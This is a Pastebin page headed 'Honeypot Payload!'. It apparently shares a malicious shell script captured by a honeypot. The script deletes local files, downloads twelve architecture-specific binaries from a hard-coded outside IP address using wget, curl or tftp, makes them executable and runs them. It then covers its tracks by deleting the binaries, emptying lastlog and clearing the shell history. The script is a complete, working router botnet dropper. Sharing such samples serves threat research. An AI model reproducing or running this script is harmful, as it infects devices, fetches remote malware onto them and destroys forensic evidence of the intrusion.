Advertisement
recon-scout

Honeypot Payload! Seen on: 2016-06-06 19:48

Jun 6th, 2016
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.94 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. # Delete any current files, because not all routers have much storage space
  4. rm -f * || busybox rm -f *
  5.  
  6. # Wget/cURL our binaries
  7. wget -q http://192.169.189.80/telstate1 || curl -s -O http://192.169.189.80/telstate1 || busybox wget -q http://192.169.189.80/telstate1 || busybox curl -s -O http://192.169.189.80/telstate1 || busybox tftp -r telstate1 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate1
  8. wget -q http://192.169.189.80/telstate2 || curl -s -O http://192.169.189.80/telstate2 || busybox wget -q http://192.169.189.80/telstate2 || busybox curl -s -O http://192.169.189.80/telstate2 || busybox tftp -r telstate2 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate2
  9. wget -q http://192.169.189.80/telstate3 || curl -s -O http://192.169.189.80/telstate3 || busybox wget -q http://192.169.189.80/telstate3 || busybox curl -s -O http://192.169.189.80/telstate3 || busybox tftp -r telstate3 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate3
  10. wget -q http://192.169.189.80/telstate4 || curl -s -O http://192.169.189.80/telstate4 || busybox wget -q http://192.169.189.80/telstate4 || busybox curl -s -O http://192.169.189.80/telstate4 || busybox tftp -r telstate4 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate4
  11. wget -q http://192.169.189.80/telstate5 || curl -s -O http://192.169.189.80/telstate5 || busybox wget -q http://192.169.189.80/telstate5 || busybox curl -s -O http://192.169.189.80/telstate5 || busybox tftp -r telstate5 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate5
  12. wget -q http://192.169.189.80/telstate6 || curl -s -O http://192.169.189.80/telstate6 || busybox wget -q http://192.169.189.80/telstate6 || busybox curl -s -O http://192.169.189.80/telstate6 || busybox tftp -r telstate6 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate6
  13. wget -q http://192.169.189.80/telstate7 || curl -s -O http://192.169.189.80/telstate7 || busybox wget -q http://192.169.189.80/telstate7 || busybox curl -s -O http://192.169.189.80/telstate7 || busybox tftp -r telstate7 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate7
  14. wget -q http://192.169.189.80/telstate8 || curl -s -O http://192.169.189.80/telstate8 || busybox wget -q http://192.169.189.80/telstate8 || busybox curl -s -O http://192.169.189.80/telstate8 || busybox tftp -r telstate8 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate8
  15. wget -q http://192.169.189.80/telstate9 || curl -s -O http://192.169.189.80/telstate9 || busybox wget -q http://192.169.189.80/telstate9 || busybox curl -s -O http://192.169.189.80/telstate9 || busybox tftp -r telstate9 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate9
  16. wget -q http://192.169.189.80/telstate10 || curl -s -O http://192.169.189.80/telstate10 || busybox wget -q http://192.169.189.80/telstate10 || busybox curl -s -O http://192.169.189.80/telstate10 || busybox tftp -r telstate10 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate10
  17. wget -q http://192.169.189.80/telstate11 || curl -s -O http://192.169.189.80/telstate11 || busybox wget -q http://192.169.189.80/telstate11 || busybox curl -s -O http://192.169.189.80/telstate11 || busybox tftp -r telstate11 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate11
  18. wget -q http://192.169.189.80/telstate12 || curl -s -O http://192.169.189.80/telstate12 || busybox wget -q http://192.169.189.80/telstate12 || busybox curl -s -O http://192.169.189.80/telstate12 || busybox tftp -r telstate12 -g 192.169.189.80 || busybox tftp 192.169.189.80 -c get telstate12
  19.  
  20. # Set file permissions
  21. chmod 777 * || busybox chmod 777 *
  22.  
  23. # Run correct binary for current architecture
  24. ./telstate1 || ./telstate2 || ./telstate3 || ./telstate4 || ./telstate5 || ./telstate6 || ./telstate7 || ./telstate8 || ./telstate9 || ./telstate10 || ./telstate11 || ./telstate12
  25.  
  26. # Delete our files
  27. rm -f * || busybox rm -f *
  28.  
  29. # Clear up
  30. >/var/log/lastlog
  31. >/etc/lastlog
  32. rm -f ~/.bash_history || busybox rm -f ~/.bash_history
  33. history -c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement